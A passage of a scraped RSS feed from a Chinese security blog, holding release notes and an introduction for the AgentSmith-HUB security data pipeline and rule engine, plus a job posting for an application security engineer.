!important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="">build-in 插件新增</span><span style="background-color:rgb(238, 253, 247);white-space: pre-wrap;border-width: 0.25em 0;display: inline;font-weight: normal;padding: 0 4px 0 4px;padding:0 2px 0 2px;border:1px solid rgb(73, 200, 149);border-radius:2px;"><span leaf="">llmCall</span></span></span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">支持在引擎 check、append 中直接调用 llm 能力。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000796" data-ratio="0.16666666666666666" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=03fc7b58&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicCBue5eIza1nTBH2y06lVZNicKLPUCup14ZqZ7DV32QRTKeyPfyFvNNwLnNhYQqtX84Jl3svpib6lyV6Dd1haicHvGezgNowqp9eA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000797" data-ratio="0.5638888888888889" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=326995ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicANxYwAd9jr1P5Z5zS9nibKu5xCRjtX9hUTctVFU6KaE31ENjVMBvm3eI0y1g507icWBLiatYfFt2weoLiaulqfPmbp7fuvKsvoQpw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="">引入 smith_agent 模块</span></span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">引入 smith llm agent，现阶段内置数据分析专家、HUB 规则编写专家两个 agent，数据分析专家目前会针对 Input 数据进行定期分析，进行数据分类、字段含义解析等工作。后续会继续在 HUB 基础上扩展更多 Agent 能力。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000798" data-ratio="0.2101851851851852" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=47c4fff4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicCuvNicviaBkXyxzhBuUwM1ZZUckBEHf12Zxw8FoLNygGic9TzXiaTX0Mlk8kL9F1HyI6SZye3TZZNveTOfYR8GXCHrIwhOiaJgBUfs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="">其他更新</span></span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">1. Ruleset 支持文件夹：</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000799" data-ratio="0.9154929577464789" data-s="300,640" type="block" data-type="png" data-w="426" src="https://wechat2rss.xlab.app/img-proxy/?k=bfc86319&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicDhzOyZNw8jiaIVYA3gqjB7iacNwpZb1wPbplpPRkSsofsicLoHqmJdouBank4zIvhDHlrfyasjlfxnmoT9UCJpP4B1GZbbXLxhOI%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">2. Output 增加了 ClickHouse 输出选项；</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">3. 增加了针对 K8s Auditing Log 开箱即用的基线检查和入侵检测的策略集；</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">4. 修复多个 BUG。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="">项目地址</span></span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf=""><span textstyle="" style="color: rgb(0, 122, 170);text-decoration: underline;"><a href="https://github.com/EBWi11/AgentSmith-HUB" target="_blank">https://github.com/EBWi11/AgentSmith-HUB</a></span></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://github.com/EBWi11/AgentSmith-HUB">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b7c7fa63&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484450%26idx%3D1%26sn%3D3e2dda48c7372c3845241a556d8d6fab">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 26 Feb 2026 19:43:00 +0800</pubDate>
    </item>
    <item>
      <title>招高级应用安全工程师</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484437&amp;idx=1&amp;sn=83fed3ffb503f1df1e6f1252fa9c1760</link>
      <description>招高级应用安全工程师</description>
      <content:encoded><![CDATA[<p>原创 <span>E_Bwill</span> <span>2026-01-21 15:41</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c403a6dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVwmfiaEsDur2ibaHXib8XLDNOrrm8Tfk2t2ibTicDGiaKbt0hmFUhWE4B2iaUaIBliaZE9EiagfzXMyprllPuA%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>招高级应用安全工程师</p>
  <p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 9px;max-height:2px;min-height: 1px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="">职位描述</span></span></strong></span></strong></p><ol style="width: 100%;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">负责整体 SDL 体系建设，负责应用安全相关产品(如黑盒、白盒、灰盒等)的设计实现与推进工作</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">参与公司的应用安全运营工作</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">参与后续公司移动端安全能力建设</span></span></p></li></ol><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 9px;max-height:2px;min-height: 1px;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="">职位要求</span></span></strong></span></strong></p><ol style="width: 100%;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">3 年以上复杂业务场景下的应用安全落地经验，深入理解 SDL/DevSecOps 理念与实践</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">熟悉常见应用安全漏洞、原理，具备长期动手执行验证和处置能力</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">熟悉常见应用安全工具能力包括但不限于黑盒、白盒、灰盒扫描工具、WAF、RASP 等</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">有 Web 白盒审计经验，并且熟练使用至少一种以上常用白盒扫描工具如 CodeQL、Fortify、Semgrep 等</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">了解 Android、IOS 客户端对抗知识，具备一定的移动端逆向分析、动态调试、协议抓包、HOOK 实践经验</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">熟悉至少一门高级开发语言</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">具备 Vibe Coding、Agent、Skills、MCP 等大模型相关技术者优先，我们期待能与你共同探索利用 AI 重塑安全研发与运营流程</span></span></p></li></ol><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">欢迎自荐或推荐，简历请发送至：willchen@moonton.com</span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9cdef5d2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484437%26idx%3D1%26sn%3D83fed3ffb503f1df1e6f1252fa9c1760">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 21 Jan 2026 15:41:00 +0800</pubDate>
    </item>
    <item>
      <title>AgentSmith-HUB</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484433&amp;idx=1&amp;sn=4f8bb99bd1bdc258cbee9b719bed8551</link>
      <description>https://github.com/EBWi11/AgentSmith-HUB</description>
      <content:encoded><![CDATA[<p>
原创 <span>EBwill</span> <span>2025-07-31 11:56</span> <span style="display: inline-block;">上海</span>
</p>

<p>https://github.com/EBWi11/AgentSmith-HUB</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=494c3aa5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCo76be0PGKfbvYiavr3RYmRQNOdAnoiaIYB6Dcia7KuPl64j3kJ0VgDNcCQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;" data-pm-slice="0 0 []"><strong style="max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-style: normal;">1. 项目地址</span></span></span></em></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;text-indent: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 13px;letter-spacing: 0.5px;color: rgb(0, 122, 170);font-weight: bold;text-decoration: none;"><a href="https://github.com/EBWi11/AgentSmith-HUB " target="_blank">https://github.com/EBWi11/AgentSmith-HUB </a></span></span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-style: normal;">2. 项目介绍</span></span></span></em></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;">AgentSmith-HUB 是一款 SDPP（Security Data Pipeline Platform）和规则引擎产品。具有高性能，支持分布式，支持自定义插件等能力，能满足企业安全团队的数据处理、日志分析、告警富化、多平台联动、入侵检测引擎等需求。</span></span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: #4e4e4e;line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf=""><span textstyle="" style="letter-spacing: 0.5px;font-style: normal;">3. 部分功能展示</span></span></span></em></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;font-weight: normal;">Dashboard:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000757" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0265625" data-s="300,640" data-type="png" data-w="1280" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=7dfd24a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCoIymHx1qcS9vFkXrcnWzE209sPFViaqriblWF0Sx4zyzNnNdApFjIb3lw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Input Connect Check:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000772" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4888888888888889" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=f38113d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCoCXkxUzQWt3Vs7QFY22CibTmukiakmia8BAUfGW38icWkOw2DSAW6QVfnxw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Rule Edit:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000773" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5092592592592593" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=230a8629&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCoskWyZGCWxf5fibMlS4DL2vVqTtXd5icPHZDAdEe7r7t5s7ic8KicncLAqQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Rule Test:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000774" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7824074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=049fc781&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCouNfVvUYffoG9dia5O9FKXsrlw4vWlZibQ3dldEwiabK3THoKzaQiciay0icw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Project Edit:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000776" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5444444444444444" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=69f0668c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjEESHeKDyVzibSiaZumo8AdWg7gWx4trCoA6hXB4Mao3yX4HjF7FZhKXZdqh03WuREAzHnlCZmsicKPpEL54IloXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px 0px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;letter-spacing: 1px;font-size: 15px;font-family: PingfangSC-LIGHT, sans-serif;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span leaf=""><span textstyle="" style="font-size: 14px;letter-spacing: 0.5px;">Project Test:</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000777" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7833333333333333" data-s="300,640" data-type="png" data-w="1080" type="block" 